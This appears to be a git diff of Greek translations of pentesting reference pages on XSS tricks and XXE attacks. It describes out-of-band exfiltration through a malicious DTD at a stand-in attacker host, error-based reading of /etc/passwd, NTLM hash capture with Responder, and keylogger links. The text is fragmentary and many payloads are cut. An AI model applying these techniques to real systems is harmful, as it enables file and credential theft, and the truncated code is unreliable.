προεγκατάστασης φορμών +### Prepopulate forms trick Μερικές φορές είναι δυνατόν να **συμπληρώσετε την τιμή των πεδίων μιας φόρμας χρησιμοποιώντας παραμέτρους GET κατά τη φόρτωση μιας σελίδας**. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτή τη συμπεριφορά για να συμπληρώσει μια φόρμα με αυθαίρετα δεδομένα και να στείλει το payload clickjacking ώστε ο χρήστης να πατήσει το κουμπί Υποβολή. -### Συμπλήρωση φόρμας με Drag\&Drop +### Populate form with Drag\&Drop Αν χρειάζεστε τον χρήστη να **συμπληρώσει μια φόρμα** αλλά δεν θέλετε να του ζητήσετε άμεσα να γράψει κάποιες συγκεκριμένες πληροφορίες (όπως το email και ή συγκεκριμένο κωδικό που γνωρίζετε), μπορείτε απλά να του ζητήσετε να **Drag\&Drop** κάτι που θα γράψει τα ελεγχόμενα δεδομένα σας όπως σε [**αυτό το παράδειγμα**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/). -### Βασικό Payload +### Basic Payload ```markup ``` -### Αυτόματη καταγραφή κωδικών πρόσβασης +### Καταγραφή κωδικών πρόσβασης αυτόματης συμπλήρωσης ```javascript Username:
@@ -1381,7 +1381,7 @@ body:username.value+':'+this.value ### Keylogger -Απλά ψάχνοντας στο github βρήκα μερικούς διαφορετικούς: +Αναζητώντας στο github βρήκα μερικούς διαφορετικούς: - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) @@ -1473,7 +1473,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots. ``` ### Regex - Πρόσβαση σε Κρυφό Περιεχόμενο -Από [**αυτή την αναφορά**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθουμε ότι ακόμη και αν κάποιες τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατό να τις βρούμε σε JS attributes σε διάφορα αντικείμενα. Για παράδειγμα, μια είσοδος ενός REGEX είναι ακόμα δυνατό να βρεθεί μετά την αφαίρεση της τιμής της εισόδου του regex: +Από [**αυτή τη γραφή**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθουμε ότι ακόμη και αν κάποιες τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατό να τις βρούμε σε JS attributes σε διάφορα αντικείμενα. Για παράδειγμα, μια είσοδος ενός REGEX είναι ακόμα δυνατό να βρεθεί μετά την αφαίρεση της τιμής της εισόδου του regex: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1496,7 +1496,7 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt {{#endref}} -## XSS Εκμετάλλευση άλλων ευπαθειών +## XSS Κατάχρηση άλλων ευπαθειών ### XSS σε Markdown @@ -1517,7 +1517,7 @@ xss-in-markdown.md ### XSS σε δυναμικά δημιουργημένο PDF -Εάν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να **παγιδεύσετε το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο JS κώδικα**.\ +Εάν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να **παγιδεύσετε το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο κώδικα JS**.\ Έτσι, αν το **bot δημιουργίας PDF βρει** κάποιο είδος **HTML** **tags**, θα **ερμηνεύσει** αυτά, και μπορείτε να **καταχραστείτε** αυτή τη συμπεριφορά για να προκαλέσετε ένα **Server XSS**. {{#ref}} diff --git a/src/pentesting-web/xxe-xee-xml-external-entity.md b/src/pentesting-web/xxe-xee-xml-external-entity.md index b62826663..8064edd3b 100644 --- a/src/pentesting-web/xxe-xee-xml-external-entity.md +++ b/src/pentesting-web/xxe-xee-xml-external-entity.md @@ -4,23 +4,10 @@ ## XML Basics -Το XML είναι μια γλώσσα σήμανσης σχεδιασμένη για αποθήκευση και μεταφορά δεδομένων, με μια ευέλικτη δομή που επιτρέπει τη χρήση περιγραφικά ονοματισμένων ετικετών. Διαφέρει από το HTML καθώς δεν περιορίζεται σε ένα σύνολο προκαθορισμένων ετικετών. Η σημασία του XML έχει μειωθεί με την άνοδο του JSON, παρά τον αρχικό του ρόλο στην τεχνολογία AJAX. +Το XML είναι μια γλώσσα σήμανσης σχεδιασμένη για αποθήκευση και μεταφορά δεδομένων, με μια ευέλικτη δομή που επιτρέπει τη χρήση περιγραφικών ετικετών. Διαφέρει από το HTML καθώς δεν περιορίζεται σε ένα σύνολο προκαθορισμένων ετικετών. Η σημασία του XML έχει μειωθεί με την άνοδο του JSON, παρά τον αρχικό του ρόλο στην τεχνολογία AJAX. - **Αναπαράσταση Δεδομένων μέσω Οντοτήτων**: Οι οντότητες στο XML επιτρέπουν την αναπαράσταση δεδομένων, συμπεριλαμβανομένων ειδικών χαρακτήρων όπως `<` και `>`, που αντιστοιχούν σε `<` και `>` για να αποφευχθεί η σύγκρουση με το σύστημα ετικετών του XML. -- **Ορισμός Στοιχείων XML**: Το XML επιτρέπει τον ορισμό τύπων στοιχείων, περιγράφοντας πώς θα πρέπει να δομούνται τα στοιχεία και τι περιεχόμενο μπορεί να περιέχουν, από οποιοδήποτε τύπο περιεχομένου έως συγκεκριμένα παιδικά στοιχεία. -- **Ορισμός Τύπου Εγγράφου (DTD)**: Τα DTD είναι κρίσιμα στο XML για τον ορισμό της δομής του εγγράφου και των τύπων δεδομένων που μπορεί να περιέχει. Μπορούν να είναι εσωτερικά, εξωτερικά ή ένας συνδυασμός, καθοδηγώντας το πώς μορφοποιούνται και επικυρώνονται τα έγγραφα. -- **Προσαρμοσμένες και Εξωτερικές Οντότητες**: Το XML υποστηρίζει τη δημιουργία προσαρμοσμένων οντοτήτων εντός ενός DTD για ευέλικτη αναπαράσταση δεδομένων. Οι εξωτερικές οντότητες, που ορίζονται με μια διεύθυνση URL, εγείρουν ανησυχίες ασφαλείας, ιδιαίτερα στο πλαίσιο επιθέσεων XML External Entity (XXE), οι οποίες εκμεταλλεύονται τον τρόπο που οι αναλυτές XML χειρίζονται εξωτερικές πηγές δεδομένων: ` ]>` -- **Ανίχνευση XXE με Οντότητες Παραμέτρων**: Για την ανίχνευση ευπαθειών XXE, ειδικά όταν οι συμβατικές μέθοδοι αποτυγχάνουν λόγω μέτρων ασφαλείας του αναλυτή, μπορούν να χρησιμοποιηθούν οντότητες παραμέτρων XML. Αυτές οι οντότητες επιτρέπουν τεχνικές ανίχνευσης εκτός ζώνης, όπως η ενεργοποίηση αναζητήσεων DNS ή HTTP αιτημάτων σε έναν ελεγχόμενο τομέα, για να επιβεβαιωθεί η ευπάθεια. -- ` ]>` -- ` ]>` - -## Main attacks - -[**Οι περισσότερες από αυτές τις επιθέσεις δοκιμάστηκαν χρησιμοποιώντας τα καταπληκτικά εργαστήρια XEE του Portswiggers: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe) - -### New Entity test - -Σε αυτή την επίθεση θα δοκιμάσω αν μια απλή δήλωση ΝΕΑΣ ΟΝΤΟΤΗΤΑΣ λειτουργεί. +- **Ορισμός Στοιχείων XML**: Το XML επιτρέπει τον ορισμό τύπων στοιχείων, περιγράφοντας πώς θα πρέπει ```xml ]> @@ -43,7 +30,7 @@ ``` ![](<../images/image (86).png>) -Αυτή η δεύτερη περίπτωση θα πρέπει να είναι χρήσιμη για την εξαγωγή ενός αρχείου αν ο διακομιστής ιστού χρησιμοποιεί PHP (Όχι η περίπτωση των εργαστηρίων Portswigger) +Αυτή η δεύτερη περίπτωση θα πρέπει να είναι χρήσιμη για την εξαγωγή ενός αρχείου αν ο διακομιστής ιστού χρησιμοποιεί PHP (Δεν ισχύει για τα εργαστήρια Portswigger) ```xml ]> @@ -75,7 +62,7 @@ ``` ### SSRF -Ένα XXE θα μπορούσε να χρησιμοποιηθεί για να καταχραστεί μια SSRF μέσα σε ένα cloud +Ένα XXE θα μπορούσε να χρησιμοποιηθεί για να καταχραστεί ένα SSRF μέσα σε ένα cloud ```xml ]> @@ -89,13 +76,13 @@ %xxe; ]> 3;1 ``` -### "Blind" SSRF - Exfiltrate data out-of-band +### "Blind" SSRF - Εξαγωγή δεδομένων εκτός ζώνης -**Σε αυτή την περίπτωση, θα κάνουμε τον διακομιστή να φορτώσει μια νέα DTD με ένα κακόβουλο payload που θα στείλει το περιεχόμενο ενός αρχείου μέσω HTTP αιτήματος (για αρχεία πολλαπλών γραμμών μπορείτε να προσπαθήσετε να το εξάγετε μέσω \_ftp://**\_ χρησιμοποιώντας αυτόν τον βασικό διακομιστή για παράδειγμα [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Αυτή η εξήγηση βασίζεται σε** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**.** +**Σε αυτή την περίπτωση, θα κάνουμε τον διακομιστή να φορτώσει μια νέα DTD με ένα κακόβουλο payload που θα στείλει το περιεχόμενο ενός αρχείου μέσω HTTP αιτήματος (για αρχεία πολλαπλών γραμμών μπορείτε να προσπαθήσετε να το εξαγάγετε μέσω \_ftp://**\_ χρησιμοποιώντας αυτόν τον βασικό διακομιστή για παράδειγμα [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Αυτή η εξήγηση βασίζεται σε** [**Portswiggers lab εδώ**](https://portswigger.net/web-security/xxe/blind)**.** -Στην δεδομένη κακόβουλη DTD, εκτελούνται μια σειρά βημάτων για να εξαχθούν δεδομένα: +Στην δεδομένη κακόβουλη DTD, εκτελούνται μια σειρά βημάτων για την εξαγωγή δεδομένων: -### Malicious DTD Example: +### Παράδειγμα Κακόβουλης DTD: Η δομή είναι ως εξής: ```xml @@ -107,11 +94,11 @@ Τα βήματα που εκτελούνται από αυτό το DTD περιλαμβάνουν: 1. **Ορισμός Οντοτήτων Παραμέτρων:** -- Δημιουργείται μια XML οντότητα παραμέτρου, `%file`, που διαβάζει το περιεχόμενο του αρχείου `/etc/hostname`. -- Ορίζεται μια άλλη XML οντότητα παραμέτρου, `%eval`. Δημιουργεί δυναμικά μια νέα XML οντότητα παραμέτρου, `%exfiltrate`. Η οντότητα `%exfiltrate` ρυθμίζεται ώστε να κάνει ένα HTTP αίτημα στον διακομιστή του επιτιθέμενου, περνώντας το περιεχόμενο της οντότητας `%file` μέσα στη συμβολοσειρά ερωτήματος της διεύθυνσης URL. +- Μια οντότητα παραμέτρου XML, `%file`, δημιουργείται, διαβάζοντας το περιεχόμενο του αρχείου `/etc/hostname`. +- Μια άλλη οντότητα παραμέτρου XML, `%eval`, ορίζεται. Δημιουργεί δυναμικά μια νέα οντότητα παραμέτρου XML, `%exfiltrate`. Η οντότητα `%exfiltrate` ρυθμίζεται ώστε να κάνει ένα HTTP αίτημα στον διακομιστή του επιτιθέμενου, περνώντας το περιεχόμενο της οντότητας `%file` μέσα στη συμβολοσειρά ερωτήματος της διεύθυνσης URL. 2. **Εκτέλεση Οντοτήτων:** -- Χρησιμοποιείται η οντότητα `%eval`, οδηγώντας στην εκτέλεση της δυναμικής δήλωσης της οντότητας `%exfiltrate`. -- Στη συνέχεια, χρησιμοποιείται η οντότητα `%exfiltrate`, ενεργοποιώντας ένα HTTP αίτημα στη συγκεκριμένη διεύθυνση URL με το περιεχόμενο του αρχείου. +- Η οντότητα `%eval` χρησιμοποιείται, οδηγώντας στην εκτέλεση της δυναμικής δήλωσης της οντότητας `%exfiltrate`. +- Η οντότητα `%exfiltrate` χρησιμοποιείται στη συνέχεια, ενεργοποιώντας ένα HTTP αίτημα στη συγκεκριμένη διεύθυνση URL με το περιεχόμενο του αρχείου. Ο επιτιθέμενος φιλοξενεί αυτό το κακόβουλο DTD σε έναν διακομιστή υπό τον έλεγχό του, συνήθως σε μια διεύθυνση URL όπως `http://web-attacker.com/malicious.dtd`. @@ -125,7 +112,7 @@ ### Error Based(External DTD) -**Σε αυτή την περίπτωση θα κάνουμε τον διακομιστή να φορτώσει ένα κακόβουλο DTD που θα δείξει το περιεχόμενο ενός αρχείου μέσα σε ένα μήνυμα σφάλματος (αυτό είναι έγκυρο μόνο αν μπορείτε να δείτε μηνύματα σφάλματος).** [**Παράδειγμα από εδώ.**](https://portswigger.net/web-security/xxe/blind) +**Σε αυτή την περίπτωση, θα κάνουμε τον διακομιστή να φορτώσει ένα κακόβουλο DTD που θα εμφανίσει το περιεχόμενο ενός αρχείου μέσα σε ένα μήνυμα σφάλματος (αυτό είναι έγκυρο μόνο αν μπορείτε να δείτε μηνύματα σφάλματος).** [**Παράδειγμα από εδώ.**](https://portswigger.net/web-security/xxe/blind) Ένα μήνυμα σφάλματος ανάλυσης XML, που αποκαλύπτει τα περιεχόμενα του αρχείου `/etc/passwd`, μπορεί να προκληθεί χρησιμοποιώντας ένα κακόβουλο εξωτερικό Document Type Definition (DTD). Αυτό επιτυγχάνεται μέσω των εξής βημάτων: @@ -134,25 +121,25 @@ 3. Η οντότητα `eval` καλείται, οδηγώντας στη δυναμική δήλωση της οντότητας `error`. 4. Η κλήση της οντότητας `error` έχει ως αποτέλεσμα μια προσπάθεια φόρτωσης ενός ανύπαρκτου αρχείου, παράγοντας ένα μήνυμα σφάλματος που περιλαμβάνει τα περιεχόμενα του αρχείου `/etc/passwd` ως μέρος του ονόματος του αρχείου. -Το κακόβουλο εξωτερικό DTD μπορεί να κληθεί με το ακόλουθο XML: +Το κακόβουλο εξωτερικό DTD μπορεί να κληθεί με το εξής XML: ```xml %xxe;]> 3;1 ``` -Upon execution, the web server's response should include an error message displaying the contents of the `/etc/passwd` file. +Κατά την εκτέλεση, η απάντηση του διακομιστή ιστού θα πρέπει να περιλαμβάνει ένα μήνυμα σφάλματος που να εμφανίζει τα περιεχόμενα του αρχείου `/etc/passwd`. ![](<../images/image (809).png>) -_**Παρακαλώ σημειώστε ότι το εξωτερικό DTD μας επιτρέπει να συμπεριλάβουμε μία οντότητα μέσα στη δεύτερη (\*\***`eval`\***\*), αλλά αυτό απαγορεύεται στο εσωτερικό DTD. Επομένως, δεν μπορείτε να προκαλέσετε ένα σφάλμα χωρίς να χρησιμοποιήσετε ένα εξωτερικό DTD (συνήθως).**_ +_**Παρακαλώ σημειώστε ότι η εξωτερική DTD μας επιτρέπει να συμπεριλάβουμε μία οντότητα μέσα στη δεύτερη (\*\***`eval`\***\*), αλλά αυτό απαγορεύεται στην εσωτερική DTD. Επομένως, δεν μπορείτε να προκαλέσετε ένα σφάλμα χωρίς να χρησιμοποιήσετε μια εξωτερική DTD (συνήθως).**_ -### **Error Based (system DTD)** +### **Σφάλμα Βασισμένο (σύστημα DTD)** -So what about blind XXE vulnerabilities when **out-of-band interactions are blocked** (external connections aren't available)?. +Τι γίνεται με τις τυφλές ευπάθειες XXE όταν **οι εκτός ζώνης αλληλεπιδράσεις είναι αποκλεισμένες** (οι εξωτερικές συνδέσεις δεν είναι διαθέσιμες); -A loophole in the XML language specification can **expose sensitive data through error messages when a document's DTD blends internal and external declarations**. This issue allows for the internal redefinition of entities declared externally, facilitating the execution of error-based XXE attacks. Such attacks exploit the redefinition of an XML parameter entity, originally declared in an external DTD, from within an internal DTD. When out-of-band connections are blocked by the server, attackers must rely on local DTD files to conduct the attack, aiming to induce a parsing error to reveal sensitive information. +Μια παραθυράκι στην προδιαγραφή γλώσσας XML μπορεί να **εκθέσει ευαίσθητα δεδομένα μέσω μηνυμάτων σφάλματος όταν η DTD ενός εγγράφου συνδυάζει εσωτερικές και εξωτερικές δηλώσεις**. Αυτό το ζήτημα επιτρέπει την εσωτερική αναdefinition οντοτήτων που δηλώνονται εξωτερικά, διευκολύνοντας την εκτέλεση επιθέσεων XXE βασισμένων σε σφάλματα. Τέτοιες επιθέσεις εκμεταλλεύονται την αναdefinition μιας παραμέτρου οντότητας XML, που αρχικά δηλώθηκε σε μια εξωτερική DTD, από μέσα σε μια εσωτερική DTD. Όταν οι εκτός ζώνης συνδέσεις αποκλείονται από τον διακομιστή, οι επιτιθέμενοι πρέπει να βασιστούν σε τοπικά αρχεία DTD για να διεξάγουν την επίθεση, στοχεύοντας να προκαλέσουν ένα σφάλμα ανάλυσης για να αποκαλύψουν ευαίσθητες πληροφορίες. -Consider a scenario where the server's filesystem contains a DTD file at `/usr/local/app/schema.dtd`, defining an entity named `custom_entity`. An attacker can induce an XML parsing error revealing the contents of the `/etc/passwd` file by submitting a hybrid DTD as follows: +Σκεφτείτε ένα σενάριο όπου το σύστημα αρχείων του διακομιστή περιέχει ένα αρχείο DTD στο `/usr/local/app/schema.dtd`, που ορίζει μια οντότητα με το όνομα `custom_entity`. Ένας επιτιθέμενος μπορεί να προκαλέσει ένα σφάλμα ανάλυσης XML αποκαλύπτοντας τα περιεχόμενα του αρχείου `/etc/passwd` υποβάλλοντας μια υβριδική DTD ως εξής: ```xml @@ -165,13 +152,13 @@ Consider a scenario where the server's filesystem contains a DTD file at `/usr/l %local_dtd; ]> ``` -Τα παρακάτω βήματα εκτελούνται από αυτήν την DTD: +Τα παρακάτω βήματα εκτελούνται από αυτό το DTD: -- Ο ορισμός μιας XML παραμέτρου οντότητας που ονομάζεται `local_dtd` περιλαμβάνει το εξωτερικό αρχείο DTD που βρίσκεται στο σύστημα αρχείων του διακομιστή. -- Μια επαναορισμός συμβαίνει για την XML παράμετρο οντότητας `custom_entity`, που αρχικά ορίστηκε στο εξωτερικό DTD, για να περιλάβει μια [εκμετάλλευση XXE βασισμένη σε σφάλματα](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Αυτή η επαναορισμός έχει σχεδιαστεί για να προκαλέσει ένα σφάλμα ανάλυσης, εκθέτοντας το περιεχόμενο του αρχείου `/etc/passwd`. +- Ο ορισμός μιας XML παραμέτρου οντότητας με όνομα `local_dtd` περιλαμβάνει το εξωτερικό αρχείο DTD που βρίσκεται στο σύστημα αρχείων του διακομιστή. +- Μια επαναορισμός συμβαίνει για την XML παράμετρο οντότητας `custom_entity`, που αρχικά ορίστηκε στο εξωτερικό DTD, για να περιλάβει μια [εκμετάλλευση XXE βασισμένη σε σφάλματα](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Αυτή η επαναορισμός έχει σχεδιαστεί για να προκαλέσει ένα σφάλμα ανάλυσης, εκθέτοντας τα περιεχόμενα του αρχείου `/etc/passwd`. - Χρησιμοποιώντας την οντότητα `local_dtd`, ενεργοποιείται το εξωτερικό DTD, περιλαμβάνοντας την νεοκαθορισμένη `custom_entity`. Αυτή η ακολουθία ενεργειών προκαλεί την εκπομπή του μηνύματος σφάλματος που επιδιώκεται από την εκμετάλλευση. -**Παράδειγμα από τον πραγματικό κόσμο:** Τα συστήματα που χρησιμοποιούν το περιβάλλον επιφάνειας εργασίας GNOME συχνά έχουν μια DTD στο `/usr/share/yelp/dtd/docbookx.dtd` που περιέχει μια οντότητα που ονομάζεται `ISOamso`. +**Παράδειγμα από τον πραγματικό κόσμο:** Τα συστήματα που χρησιμοποιούν το περιβάλλον επιφάνειας εργασίας GNOME συχνά έχουν ένα DTD στο `/usr/share/yelp/dtd/docbookx.dtd` που περιέχει μια οντότητα με όνομα `ISOamso`. ```xml ) -Καθώς αυτή η τεχνική χρησιμοποιεί ένα **εσωτερικό DTD, πρέπει πρώτα να βρείτε ένα έγκυρο**. Μπορείτε να το κάνετε αυτό **εγκαθιστώντας** το ίδιο **ΛΣ / Λογισμικό** που χρησιμοποιεί ο διακομιστής και **αναζητώντας μερικά προεπιλεγμένα DTDs**, ή **λαμβάνοντας μια λίστα** με **προεπιλεγμένα DTDs** μέσα σε συστήματα και **ελέγχοντας** αν κάποιο από αυτά υπάρχει: +Καθώς αυτή η τεχνική χρησιμοποιεί ένα **εσωτερικό DTD, πρέπει πρώτα να βρείτε ένα έγκυρο**. Μπορείτε να το κάνετε αυτό **εγκαθιστώντας** το ίδιο **ΛΣ / Λογισμικό** που χρησιμοποιεί ο διακομιστής και **αναζητώντας μερικά προεπιλεγμένα DTDs**, ή **παίρνοντας μια λίστα** με **προεπιλεγμένα DTDs** μέσα σε συστήματα και **ελέγχοντας** αν κάποιο από αυτά υπάρχει: ```xml @@ -205,7 +192,7 @@ Consider a scenario where the server's filesystem contains a DTD file at `/usr/l https://github.com/GoSecure/dtd-finder/tree/master/list {{#endref}} -Επιπλέον, αν έχετε την **εικόνα Docker του συστήματος του θύματος**, μπορείτε να χρησιμοποιήσετε το εργαλείο του ίδιου repo για να **σκανάρετε** την **εικόνα** και να **βρείτε** τη διαδρομή των **DTDs** που υπάρχουν μέσα στο σύστημα. Διαβάστε το [Readme του github](https://github.com/GoSecure/dtd-finder) για να μάθετε πώς. +Επιπλέον, αν έχετε την **εικόνα Docker του θύματος συστήματος**, μπορείτε να χρησιμοποιήσετε το εργαλείο του ίδιου repo για να **σκανάρετε** την **εικόνα** και να **βρείτε** τη διαδρομή των **DTDs** που υπάρχουν μέσα στο σύστημα. Διαβάστε το [Readme του github](https://github.com/GoSecure/dtd-finder) για να μάθετε πώς. ```bash java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar @@ -221,13 +208,13 @@ Testing 0 entities : [] Για μια πιο λεπτομερή εξήγηση αυτής της επίθεσης, **ελέγξτε τη δεύτερη ενότητα του** [**αυτού του καταπληκτικού άρθρου**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **από την Detectify**. -Η δυνατότητα να **ανεβάζετε έγγραφα Microsoft Office προσφέρεται από πολλές διαδικτυακές εφαρμογές**, οι οποίες στη συνέχεια προχωρούν στην εξαγωγή ορισμένων λεπτομερειών από αυτά τα έγγραφα. Για παράδειγμα, μια διαδικτυακή εφαρμογή μπορεί να επιτρέπει στους χρήστες να εισάγουν δεδομένα ανεβάζοντας ένα υπολογιστικό φύλλο σε μορφή XLSX. Για να μπορέσει ο αναλυτής να εξαγάγει τα δεδομένα από το υπολογιστικό φύλλο, θα χρειαστεί αναπόφευκτα να αναλύσει τουλάχιστον ένα XML αρχείο. +Η δυνατότητα να **ανεβάζουν έγγραφα Microsoft Office προσφέρεται από πολλές διαδικτυακές εφαρμογές**, οι οποίες στη συνέχεια προχωρούν στην εξαγωγή ορισμένων λεπτομερειών από αυτά τα έγγραφα. Για παράδειγμα, μια διαδικτυακή εφαρμογή μπορεί να επιτρέπει στους χρήστες να εισάγουν δεδομένα ανεβάζοντας ένα υπολογιστικό φύλλο σε μορφή XLSX. Για να μπορέσει ο αναλυτής να εξαγάγει τα δεδομένα από το υπολογιστικό φύλλο, θα χρειαστεί αναπόφευκτα να αναλύσει τουλάχιστον ένα XML αρχείο. -Για να δοκιμάσετε αυτή την ευπάθεια, είναι απαραίτητο να δημιουργήσετε ένα **αρχείο Microsoft Office που περιέχει ένα XXE payload**. Το πρώτο βήμα είναι να δημιουργήσετε έναν κενό φάκελο στον οποίο μπορεί να αποσυμπιεστεί το έγγραφο. +Για να δοκιμαστεί αυτή η ευπάθεια, είναι απαραίτητο να δημιουργηθεί ένα **αρχείο Microsoft Office που περιέχει ένα XXE payload**. Το πρώτο βήμα είναι να δημιουργηθεί ένας κενός φάκελος στον οποίο μπορεί να αποσυμπιεστεί το έγγραφο. Αφού το έγγραφο έχει αποσυμπιεστεί, το XML αρχείο που βρίσκεται στο `./unzipped/word/document.xml` θα πρέπει να ανοιχτεί και να επεξεργαστεί σε έναν προτιμώμενο επεξεργαστή κειμένου (όπως το vim). Το XML θα πρέπει να τροποποιηθεί ώστε να περιλαμβάνει το επιθυμητό XXE payload, συχνά ξεκινώντας με ένα HTTP αίτημα. -Οι τροποποιημένες γραμμές XML θα πρέπει να εισαχθούν μεταξύ των δύο ριζικών XML αντικειμένων. Είναι σημαντικό να αντικαταστήσετε το URL με ένα παρακολουθήσιμο URL για αιτήματα. +Οι τροποποιημένες γραμμές XML θα πρέπει να εισαχθούν μεταξύ των δύο ριζικών XML αντικειμένων. Είναι σημαντικό να αντικατασταθεί η διεύθυνση URL με μια παρακολουθήσιμη διεύθυνση URL για τα αιτήματα. Τέλος, το αρχείο μπορεί να συμπιεστεί για να δημιουργηθεί το κακόβουλο poc.docx αρχείο. Από τον προηγουμένως δημιουργημένο φάκελο "unzipped", θα πρέπει να εκτελεστεί η εξής εντολή: @@ -235,13 +222,13 @@ Testing 0 entities : [] ### Jar: πρωτόκολλο -Το **jar** πρωτόκολλο είναι προσβάσιμο αποκλειστικά εντός **Java εφαρμογών**. Είναι σχεδιασμένο για να επιτρέπει την πρόσβαση σε αρχεία εντός ενός **PKZIP** αρχείου (π.χ., `.zip`, `.jar`, κ.λπ.), καλύπτοντας τόσο τοπικά όσο και απομακρυσμένα αρχεία. +Το **jar** πρωτόκολλο είναι προσβάσιμο αποκλειστικά εντός **Java εφαρμογών**. Είναι σχεδιασμένο για να επιτρέπει την πρόσβαση σε αρχεία εντός ενός **PKZIP** αρχείου (π.χ., `.zip`, `.jar`, κ.λπ.), εξυπηρετώντας τόσο τοπικά όσο και απομακρυσμένα αρχεία. ``` jar:file:///var/myarchive.zip!/file.txt jar:https://download.host.com/myarchive.zip!/file.txt ``` > [!CAUTION] -> Για να μπορέσετε να έχετε πρόσβαση σε αρχεία μέσα σε αρχεία PKZIP είναι **πολύ χρήσιμο για την κατάχρηση XXE μέσω αρχείων DTD συστήματος.** Ελέγξτε [αυτή την ενότητα για να μάθετε πώς να καταχραστείτε τα αρχεία DTD συστήματος](xxe-xee-xml-external-entity.md#error-based-system-dtd). +> Για να μπορέσετε να έχετε πρόσβαση σε αρχεία μέσα σε αρχεία PKZIP είναι **πολύ χρήσιμο για την κατάχρηση του XXE μέσω αρχείων DTD συστήματος.** Ελέγξτε [αυτή την ενότητα για να μάθετε πώς να καταχράστε τα αρχεία DTD συστήματος](xxe-xee-xml-external-entity.md#error-based-system-dtd). Η διαδικασία πίσω από την πρόσβαση σε ένα αρχείο μέσα σε ένα αρχείο PKZIP μέσω του πρωτοκόλλου jar περιλαμβάνει αρκετά βήματα: @@ -292,9 +279,9 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] ![](<../images/image (527).png>) -#### Getting NTML +#### Απόκτηση NTML -Σε Windows hosts είναι δυνατόν να αποκτήσετε το NTML hash του χρήστη του web server ρυθμίζοντας έναν handler στο responder.py: +Σε Windows hosts είναι δυνατή η απόκτηση του NTML hash του χρήστη του web server ρυθμίζοντας έναν handler στο responder.py: ```bash Responder.py -I eth0 -v ``` @@ -334,7 +321,7 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec ``` -Στις δύο περιπτώσεις, η μορφή SVG χρησιμοποιείται για να εκκινήσει επιθέσεις που εκμεταλλεύονται τις δυνατότητες επεξεργασίας XML του λογισμικού του διακομιστή, υπογραμμίζοντας την ανάγκη για ισχυρή επικύρωση εισόδου και μέτρα ασφαλείας. +Στις δύο περιπτώσεις, η μορφή SVG χρησιμοποιείται για την εκκίνηση επιθέσεων που εκμεταλλεύονται τις δυνατότητες επεξεργασίας XML του λογισμικού του διακομιστή, υπογραμμίζοντας την ανάγκη για ισχυρή επικύρωση εισόδου και μέτρα ασφαλείας. Δείτε [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) για περισσότερες πληροφορίες! @@ -422,13 +409,13 @@ Content-Type: application/xml;charset=UTF-8 ``` ### File:/ Protocol Bypass -Αν ο ιστότοπος χρησιμοποιεί PHP, αντί να χρησιμοποιήσετε `file:/` μπορείτε να χρησιμοποιήσετε **php wrappers**`php://filter/convert.base64-encode/resource=` για να **έχετε πρόσβαση σε εσωτερικά αρχεία**. +Αν ο ιστότοπος χρησιμοποιεί PHP, αντί να χρησιμοποιήσετε `file:/` μπορείτε να χρησιμοποιήσετε **php wrappers**`php://filter/convert.base64-encode/resource=` για να **πρόσβαση σε εσωτερικά αρχεία**. Αν ο ιστότοπος χρησιμοποιεί Java, μπορείτε να ελέγξετε το [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol). ### HTML Entities -Trick από [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\ +Trick from [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\ Μπορείτε να δημιουργήσετε μια **οντότητα μέσα σε μια οντότητα** κωδικοποιώντας την με **html entities** και στη συνέχεια να την καλέσετε για να **φορτώσετε ένα dtd**.\ Σημειώστε ότι οι **HTML Entities** που χρησιμοποιούνται πρέπει να είναι **αριθμητικές** (όπως \[σε αυτό το παράδειγμα]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\]()). ```xml @@ -476,7 +463,7 @@ DTD παράδειγμα: Αυτό το παράδειγμα είναι εμπνευσμένο από [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) -Το XLIFF (XML Localization Interchange File Format) χρησιμοποιείται για την τυποποίηση της ανταλλαγής δεδομένων στις διαδικασίες τοπικοποίησης. Είναι μια μορφή βασισμένη σε XML που χρησιμοποιείται κυρίως για τη μεταφορά τοπικοποιήσιμων δεδομένων μεταξύ εργαλείων κατά τη 